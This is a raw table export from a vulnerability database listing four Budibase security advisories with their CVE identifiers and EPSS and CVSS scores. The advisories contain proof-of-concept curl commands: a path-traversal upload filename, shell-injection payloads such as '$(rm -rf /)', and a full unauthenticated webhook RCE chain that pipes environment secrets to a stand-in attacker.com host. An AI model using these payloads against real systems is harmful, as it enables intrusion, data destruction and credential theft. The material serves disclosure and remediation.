| Affected_by_vulnerabilities |
| 0 |
| url |
VCID-55z8-61vb-3bgu |
| vulnerability_id |
VCID-55z8-61vb-3bgu |
| summary |
@budibase/server: Command Injection in PostgreSQL Dump Command
**Location**: `packages/server/src/integrations/postgres.ts:529-531` |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-25041 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00082 |
| scoring_system |
epss |
| scoring_elements |
0.24147 |
| published_at |
2026-06-07T12:55:00Z |
|
| 1 |
| value |
0.00082 |
| scoring_system |
epss |
| scoring_elements |
0.24095 |
| published_at |
2026-06-09T12:55:00Z |
|
| 2 |
| value |
0.00082 |
| scoring_system |
epss |
| scoring_elements |
0.24088 |
| published_at |
2026-06-08T12:55:00Z |
|
| 3 |
| value |
0.00082 |
| scoring_system |
epss |
| scoring_elements |
0.24202 |
| published_at |
2026-06-06T12:55:00Z |
|
| 4 |
| value |
0.00082 |
| scoring_system |
epss |
| scoring_elements |
0.2422 |
| published_at |
2026-06-05T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-25041 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-25041, GHSA-726g-59wr-cj4c
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-55z8-61vb-3bgu |
|
| 1 |
| url |
VCID-8w6x-sana-skfd |
| vulnerability_id |
VCID-8w6x-sana-skfd |
| summary |
Budibase: Path traversal in plugin file upload enables arbitrary directory deletion and file write
## Summary
The plugin file upload endpoint (`POST /api/plugin/upload`) passes the user-supplied filename directly to `createTempFolder()` without sanitizing path traversal sequences. An attacker with Global Builder privileges can craft a multipart upload with a filename containing `../` to delete arbitrary directories via `rmSync` and write arbitrary files via tarball extraction to any filesystem path the Node.js process can access.
## Severity
- **Attack Vector:** Network — exploitable via the plugin upload HTTP API
- **Attack Complexity:** Low — no special conditions; a single crafted multipart request suffices
- **Privileges Required:** High — requires Global Builder role (`GLOBAL_BUILDER` permission)
- **User Interaction:** None
- **Scope:** Changed — the plugin upload feature is scoped to a temp directory, but the traversal escapes to the host filesystem
- **Confidentiality Impact:** None — the vulnerability enables deletion and writing, not reading
- **Integrity Impact:** High — attacker can delete arbitrary directories and write arbitrary files via tarball extraction
- **Availability Impact:** High — recursive deletion of application or system directories causes denial of service
### Severity Rationale
Despite the real filesystem impact, severity is bounded by the requirement for Global Builder privileges (PR:H), which is the highest non-admin role in Budibase. In self-hosted deployments the Global Builder may already have server access, further reducing practical impact. In cloud/multi-tenant deployments the impact is more significant as it could affect the host infrastructure.
## Affected Component
- `packages/server/src/api/controllers/plugin/file.ts` — `fileUpload()` (line 15)
- `packages/server/src/utilities/fileSystem/filesystem.ts` — `createTempFolder()` (lines 78-91)
## Description
### Unsanitized filename flows into filesystem operations
In `packages/server/src/api/controllers/plugin/file.ts`, the uploaded file's name is used directly after stripping the `.tar.gz` suffix:
```typescript
// packages/server/src/api/controllers/plugin/file.ts:8-19
export async function fileUpload(file: KoaFile) {
if (!file.name || !file.path) {
throw new Error("File is not valid - cannot upload.")
}
if (!file.name.endsWith(".tar.gz")) {
throw new Error("Plugin must be compressed into a gzipped tarball.")
}
const path = createTempFolder(file.name.split(".tar.gz")[0])
await extractTarball(file.path, path)
return await getPluginMetadata(path)
}
```
The `file.name` originates from the `Content-Disposition` header's `filename` field in the multipart upload, parsed by formidable (via koa-body 4.2.0). Formidable does not sanitize path traversal sequences from filenames.
The `createTempFolder` function in `packages/server/src/utilities/fileSystem/filesystem.ts` uses `path.join()` which resolves `../` sequences, then performs destructive filesystem operations:
```typescript
// packages/server/src/utilities/fileSystem/filesystem.ts:78-91
export const createTempFolder = (item: string) => {
const path = join(budibaseTempDir(), item)
try {
// remove old tmp directories automatically - don't combine
if (fs.existsSync(path)) {
fs.rmSync(path, { recursive: true, force: true })
}
fs.mkdirSync(path)
} catch (err: any) {
throw new Error(`Path cannot be created: ${err.message}`)
}
return path
}
```
The `budibaseTempDir()` returns `/tmp/.budibase` (from `packages/backend-core/src/objectStore/utils.ts:33`). With a filename like `../../etc/target.tar.gz`, `path.join("/tmp/.budibase", "../../etc/target")` resolves to `/etc/target`.
### Inconsistent defenses confirm the gap
The codebase is aware of the risk in similar paths:
1. **Safe path in `utils.ts`**: The `downloadUnzipTarball` function (for NPM/GitHub/URL plugin sources) generates a random name server-side:
```typescript
// packages/server/src/api/controllers/plugin/index.ts:68
const name = "PLUGIN_" + Math.floor(100000 + Math.random() * 900000)
```
This is safe because `name` never contains user input.
2. **Safe path in `objectStore.ts`**: Other uses of `budibaseTempDir()` use UUID-generated names:
```typescript
// packages/backend-core/src/objectStore/objectStore.ts:546
const outputPath = join(budibaseTempDir(), v4())
```
3. **Sanitization exists but is not applied**: The codebase has `sanitizeKey()` in `objectStore.ts` for sanitizing object store paths, but no equivalent is applied to `createTempFolder`'s input.
The file upload path is the only caller of `createTempFolder` that passes unsanitized user input.
### Execution chain
1. Authenticated Global Builder sends `POST /api/plugin/upload` with a multipart file whose `Content-Disposition` filename contains path traversal (e.g., `../../etc/target.tar.gz`)
2. koa-body/formidable parses the upload, setting `file.name` to the raw filename from the header
3. `controller.upload` → `sdk.plugins.processUploaded()` → `fileUpload(file)`
4. `.endsWith(".tar.gz")` check passes (the suffix is present)
5. `.split(".tar.gz")[0]` extracts `../../etc/target`
6. `createTempFolder("../../etc/target")` is called
7. `path.join("/tmp/.budibase", "../../etc/target")` resolves to `/etc/target`
8. `fs.rmSync("/etc/target", { recursive: true, force: true })` — **deletes the target directory recursively**
9. `fs.mkdirSync("/etc/target")` — **creates a directory at the traversed path**
10. `extractTarball(file.path, "/etc/target")` — **extracts attacker-controlled tarball contents to the traversed path**
## Proof of Concept
```bash
# Create a minimal tarball with a test file
mkdir -p /tmp/plugin-poc && echo "pwned" > /tmp/plugin-poc/test.txt
tar czf /tmp/poc-plugin.tar.gz -C /tmp/plugin-poc .
# Upload with a traversal filename targeting /tmp/pwned (non-destructive demo)
curl -X POST 'http://localhost:10000/api/plugin/upload' \
-H 'Cookie: <global_builder_session_cookie>' \
-F "file=@/tmp/poc-plugin.tar.gz;filename=../../tmp/pwned.tar.gz"
# Result: server executes:
# rm -rf /tmp/pwned (if exists)
# mkdir /tmp/pwned
# tar xzf <upload> -C /tmp/pwned
# Verify: ls /tmp/pwned/test.txt
```
## Impact
- **Arbitrary directory deletion**: `rmSync` with `{ recursive: true, force: true }` deletes any directory the Node.js process can access, including application data directories
- **Arbitrary file write**: Tarball extraction writes attacker-controlled files to any writable path, potentially overwriting application code, configuration, or system files
- **Denial of service**: Deleting critical directories (e.g., the application's data directory, node_modules, or system directories) crashes the application
- **Potential code execution**: In containerized deployments (common for Budibase) where Node.js runs as root, an attacker could overwrite startup scripts or application code to achieve remote code execution on subsequent restarts
## Recommended Remediation
### Option 1: Sanitize at `createTempFolder` (preferred — protects all callers)
```typescript
import { join, resolve } from "path"
export const createTempFolder = (item: string) => {
const tempDir = budibaseTempDir()
const resolved = resolve(tempDir, item)
// Ensure the resolved path is within the temp directory
if (!resolved.startsWith(tempDir + "/") && resolved !== tempDir) {
throw new Error("Invalid path: directory traversal detected")
}
try {
if (fs.existsSync(resolved)) {
fs.rmSync(resolved, { recursive: true, force: true })
}
fs.mkdirSync(resolved)
} catch (err: any) {
throw new Error(`Path cannot be created: ${err.message}`)
}
return resolved
}
```
### Option 2: Sanitize at the upload handler (defense-in-depth)
Strip path components from the filename before use:
```typescript
import path from "path"
export async function fileUpload(file: KoaFile) {
if (!file.name || !file.path) {
throw new Error("File is not valid - cannot upload.")
}
if (!file.name.endsWith(".tar.gz")) {
throw new Error("Plugin must be compressed into a gzipped tarball.")
}
// Strip directory components from the filename
const safeName = path.basename(file.name).split(".tar.gz")[0]
const dir = createTempFolder(safeName)
await extractTarball(file.path, dir)
return await getPluginMetadata(dir)
}
```
Both options should ideally be applied together for defense-in-depth.
## Credit
This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai). |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-35214 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00061 |
| scoring_system |
epss |
| scoring_elements |
0.19183 |
| published_at |
2026-06-07T12:55:00Z |
|
| 1 |
| value |
0.00061 |
| scoring_system |
epss |
| scoring_elements |
0.19133 |
| published_at |
2026-06-09T12:55:00Z |
|
| 2 |
| value |
0.00061 |
| scoring_system |
epss |
| scoring_elements |
0.19111 |
| published_at |
2026-06-08T12:55:00Z |
|
| 3 |
| value |
0.00061 |
| scoring_system |
epss |
| scoring_elements |
0.19227 |
| published_at |
2026-06-06T12:55:00Z |
|
| 4 |
| value |
0.00061 |
| scoring_system |
epss |
| scoring_elements |
0.1923 |
| published_at |
2026-06-05T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-35214 |
|
| 1 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-35214, GHSA-2wfh-rcwf-wh23
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-8w6x-sana-skfd |
|
| 2 |
| url |
VCID-hu2a-usnx-23au |
| vulnerability_id |
VCID-hu2a-usnx-23au |
| summary |
Budibase: Command Injection in Bash Automation Step
**Location**: `packages/server/src/automations/steps/bash.ts`
#### Description
The bash automation step executes user-provided commands using `execSync` without proper sanitization or validation. User input is processed through `processStringSync` which allows template interpolation, potentially allowing arbitrary command execution.
#### Code Reference
```21:28:packages/server/src/automations/steps/bash.ts
const command = processStringSync(inputs.code, context)
let stdout,
success = true
try {
stdout = execSync(command, {
timeout: environment.QUERY_THREAD_TIMEOUT,
}).toString()
```
#### Attack Vector
An attacker with access to create or modify automations can inject malicious shell commands by including template syntax that evaluates to command injection payloads (e.g., `$(rm -rf /)`, `; malicious-command`, `| malicious-command`).
#### Impact
- Remote code execution (RCE)
- Complete system compromise
- Data exfiltration
- Lateral movement within the infrastructure
#### Recommendation
1. **Immediate**: Disable bash automation step in production until fixed
2. Implement a whitelist of allowed commands
3. Use parameterized command execution with proper escaping
4. Implement command argument validation
5. Consider using a restricted shell or command sandboxing
6. Add rate limiting and monitoring for command execution
#### Example Fix
```typescript
import { spawn } from "child_process"
// Validate against whitelist
const ALLOWED_COMMANDS = ["echo", "date", "pwd"] // Extend as needed
function sanitizeCommand(input: string): string {
// Remove dangerous characters and command chaining
return input.replace(/[;&|`$(){}[\]]/g, "").trim()
}
function validateCommand(cmd: string): boolean {
const parts = cmd.split(/\s+/)
return ALLOWED_COMMANDS.includes(parts[0])
}
export async function run({ inputs, context }) {
if (!inputs.code) {
return { stdout: "Budibase bash automation failed: Invalid inputs" }
}
const processedCommand = processStringSync(inputs.code, context)
const sanitized = sanitizeCommand(processedCommand)
if (!validateCommand(sanitized)) {
return {
success: false,
stdout: "Command not allowed"
}
}
// Use spawn instead of execSync with proper argument handling
return new Promise((resolve) => {
const [command, ...args] = sanitized.split(/\s+/)
const proc = spawn(command, args, {
timeout: environment.QUERY_THREAD_TIMEOUT,
})
let stdout = ""
proc.stdout.on("data", (data) => { stdout += data })
proc.on("close", (code) => {
resolve({ stdout, success: code === 0 })
})
})
}
``` |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-25044 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.24711 |
| published_at |
2026-06-05T12:55:00Z |
|
| 1 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.24596 |
| published_at |
2026-06-09T12:55:00Z |
|
| 2 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.24587 |
| published_at |
2026-06-08T12:55:00Z |
|
| 3 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.24645 |
| published_at |
2026-06-07T12:55:00Z |
|
| 4 |
| value |
0.00085 |
| scoring_system |
epss |
| scoring_elements |
0.24701 |
| published_at |
2026-06-06T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-25044 |
|
| 1 |
| reference_url |
https://github.com/Budibase/budibase |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
8.8 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
|
| 1 |
| value |
8.7 |
| scoring_system |
cvssv4 |
| scoring_elements |
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
|
| 2 |
| value |
HIGH |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
|
| url |
https://github.com/Budibase/budibase |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-25044, GHSA-gjw9-34gf-rp6m
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-hu2a-usnx-23au |
|
| 3 |
| url |
VCID-hx4u-s7t2-quga |
| vulnerability_id |
VCID-hx4u-s7t2-quga |
| summary |
Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step
### Summary
An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container.
### Details
**Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:**
```typescript
// this shouldn't have authorisation, right now its always public
publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger)
```
The webhook trigger endpoint is registered on `publicRoutes` with **no authentication
middleware**. Any unauthenticated HTTP client can POST to this endpoint.
**Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:**
```typescript
const command = processStringSync(inputs.code, context)
stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()
```
The Bash automation step uses Handlebars template processing (`processStringSync`) on
`inputs.code`, substituting values from the webhook request body into the shell command
string before passing it to `execSync()`.
**Attack chain:**
```
HTTP POST /api/webhooks/trigger/{appId}/{webhookId} ← NO AUTH
↓
controller.trigger() [webhook.ts:90]
↓
triggers.externalTrigger()
↓ webhook fields flattened into automation context
automation.steps[EXECUTE_BASH].run() [actions.ts:131]
↓
processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" })
↓
execSync("ATTACKER_PAYLOAD") ← RCE AS ROOT
```
**Precondition:** An admin must have created and published an automation containing:
1. A Webhook trigger
2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`)
This is a legitimate and documented workflow. Such configurations may exist in
production deployments for automation of server-side tasks.
**Note on EXECUTE_BASH availability:** The bash step is only registered when
`SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments:
```typescript
// packages/server/src/automations/actions.ts line 126-132
// don't add the bash script/definitions unless in self host
if (env.SELF_HOSTED) {
ACTION_IMPLS["EXECUTE_BASH"] = bash.run
BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition
}
```
**Webhook context flattening** (why `{{ trigger.cmd }}` works):
In `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations
the `params.fields` are spread directly into the trigger context:
```typescript
// row actions and webhooks flatten the fields down
else if (sdk.automations.isWebhookAction(automation)) {
params = {
...params,
...params.fields, // { cmd: "PAYLOAD" } becomes top-level
fields: {},
}
}
```
This means a webhook body `{"cmd": "id"}` becomes accessible as `{{ trigger.cmd }}`
in the bash step template.
### PoC
#### Environment
```
Target: http://TARGET:10000 (any self-hosted Budibase instance)
Tester: Any machine with curl
Auth: Admin credentials required for SETUP PHASE only
Zero auth required for EXPLOITATION PHASE
```
---
#### PHASE 1 — Admin Setup (performed once by legitimate admin)
> **Note:** This phase represents normal Budibase usage. Any admin who creates
> a webhook automation with a bash step using template variables creates this exposure.
**Step 1 — Authenticate as admin:**
```bash
curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \
-H "Content-Type: application/json" \
-d '{
"username": "admin@company.com",
"password": "adminpassword"
}'
# Expected response:
# {"message":"Login successful"}
```
**Step 2 — Create an application:**
```bash
curl -b cookies.txt -X POST http://TARGET:10000/api/applications \
-H "Content-Type: application/json" \
-d '{
"name": "MyApp",
"useTemplate": false,
"url": "/myapp"
}'
# Note the appId from the response, e.g.:
# "appId": "app_dev_c999265f6f984e3aa986788723984cd5"
APP_ID="app_dev_c999265f6f984e3aa986788723984cd5"
```
**Step 3 — Create automation with Webhook trigger + Bash step:**
```bash
curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-d '{
"name": "WebhookBash",
"type": "automation",
"definition": {
"trigger": {
"id": "trigger_1",
"name": "Webhook",
"event": "app:webhook:trigger",
"stepId": "WEBHOOK",
"type": "TRIGGER",
"icon": "paper-plane-right",
"description": "Trigger an automation when a HTTP POST webhook is hit",
"tagline": "Webhook endpoint is hit",
"inputs": {},
"schema": {
"inputs": { "properties": {} },
"outputs": {
"properties": { "body": { "type": "object" } }
}
}
},
"steps": [
{
"id": "bash_step_1",
"name": "Bash Scripting",
"stepId": "EXECUTE_BASH",
"type": "ACTION",
"icon": "git-branch",
"description": "Run a bash script",
"tagline": "Execute a bash command",
"inputs": {
"code": "{{ trigger.cmd }}"
},
"schema": {
"inputs": {
"properties": { "code": { "type": "string" } }
},
"outputs": {
"properties": {
"stdout": { "type": "string" },
"success": { "type": "boolean" }
}
}
}
}
]
}
}'
# Note the automation _id from response, e.g.:
# "automation": { "_id": "au_b713759f83f64efda067e17b65545fce", ... }
AUTO_ID="au_b713759f83f64efda067e17b65545fce"
```
**Step 4 — Enable the automation** (new automations start as disabled):
```bash
# Fetch full automation JSON
AUTO=$(curl -sb cookies.txt "http://TARGET:10000/api/automations/$AUTO_ID" \
-H "x-budibase-app-id: $APP_ID")
# Set disabled: false and PUT it back
UPDATED=$(echo "$AUTO" | python3 -c "
import sys, json
d = json.load(sys.stdin)
d['disabled'] = False
print(json.dumps(d))
")
curl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-d "$UPDATED"
```
**Step 5 — Create webhook linked to the automation:**
```bash
curl -b cookies.txt -X PUT "http://TARGET:10000/api/webhooks/" \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_ID" \
-d "{
\"name\": \"MyWebhook\",
\"action\": {
\"type\": \"automation\",
\"target\": \"$AUTO_ID\"
}
}"
# Note the webhook _id from response, e.g.:
# "webhook": { "_id": "wh_f811a038ed024da78b44619353d4af2b", ... }
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
```
**Step 6 — Publish the app to production:**
```bash
curl -b cookies.txt -X POST "http://TARGET:10000/api/applications/$APP_ID/publish" \
-H "x-budibase-app-id: $APP_ID"
# Expected: {"status":"SUCCESS","appUrl":"/myapp"}
# Production App ID = strip "dev_" from dev ID:
# app_dev_c999265f... → app_c999265f...
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
```
---
#### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)
The attacker only needs the production `app_id` and `webhook_id`.
These can be obtained via:
- Enumeration of the Budibase web UI (app URLs are semi-public)
- Leaked configuration files or environment variables
- Insider knowledge or social engineering
**Step 7 — Basic RCE — whoami/id:**
```bash
PROD_APP_ID="app_c999265f6f984e3aa986788723984cd5"
WEBHOOK_ID="wh_f811a038ed024da78b44619353d4af2b"
TARGET="http://TARGET:10000"
# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
-H "Content-Type: application/json" \
-d '{"cmd":"id"}'
# HTTP Response (immediate):
# {"message":"Webhook trigger fired successfully"}
# Command executes asynchronously inside container as root.
# Output confirmed via container inspection or exfiltration.
```
**Step 8 — Exfiltrate all secrets:**
```bash
curl -X POST "$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
-H "Content-Type: application/json" \
-d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'
```
Confirmed secrets leaked (no auth):
```
JWT_SECRET=testsecret
API_ENCRYPTION_KEY=testsecret
COUCH_DB_URL=http://budibase:budibase@couchdb-service:5984
REDIS_PASSWORD=budibase
REDIS_URL=redis-service:6379
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
INTERNAL_API_KEY=budibase
LITELLM_MASTER_KEY=budibase
```
### Impact
- **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where
any admin has created an automation with a Bash step that uses webhook trigger field
templates. This is a standard, documented workflow.
- **What can an attacker do:**
- Execute arbitrary OS commands as `root` inside the application container
- Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys
- Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet
- Establish reverse shells and persistent access
- Read/write/delete all application data via CouchDB access
- Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user
- Potentially escape the container if `--privileged` or volume mounts are used
- **Authentication required:** **None** — completely unauthenticated
- **User interaction required:** **None**
- **Network access required:** Only access to port 10000 (the Budibase proxy port)
Discovered By:
Abdulrahman Albatel
Abdullah Alrasheed |
| references |
| 0 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-35216 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.0031 |
| scoring_system |
epss |
| scoring_elements |
0.54512 |
| published_at |
2026-06-08T12:55:00Z |
|
| 1 |
| value |
0.0031 |
| scoring_system |
epss |
| scoring_elements |
0.54533 |
| published_at |
2026-06-09T12:55:00Z |
|
| 2 |
| value |
0.0031 |
| scoring_system |
epss |
| scoring_elements |
0.54543 |
| published_at |
2026-06-06T12:55:00Z |
|
| 3 |
| value |
0.0031 |
| scoring_system |
epss |
| scoring_elements |
0.54534 |
| published_at |
2026-06-05T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-35216 |
|
| 1 |
|
| 2 |
|
| 3 |
| reference_url |
https://github.com/Budibase/budibase/pull/18238 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
9.0 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
|
| 1 |
| value |
9.1 |
| scoring_system |
cvssv3.1 |
| scoring_elements |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
|
| 2 |
| value |
CRITICAL |
| scoring_system |
generic_textual |
| scoring_elements |
|
|
| 3 |
| value |
Track* |
| scoring_system |
ssvc |
| scoring_elements |
SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-03T16:46:19Z/ |
|
|
| url |
https://github.com/Budibase/budibase/pull/18238 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-35216, GHSA-fcm4-4pj2-m5hf
|
| risk_score |
4.5 |
| exploitability |
0.5 |
| weighted_severity |
9.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-hx4u-s7t2-quga |
|
|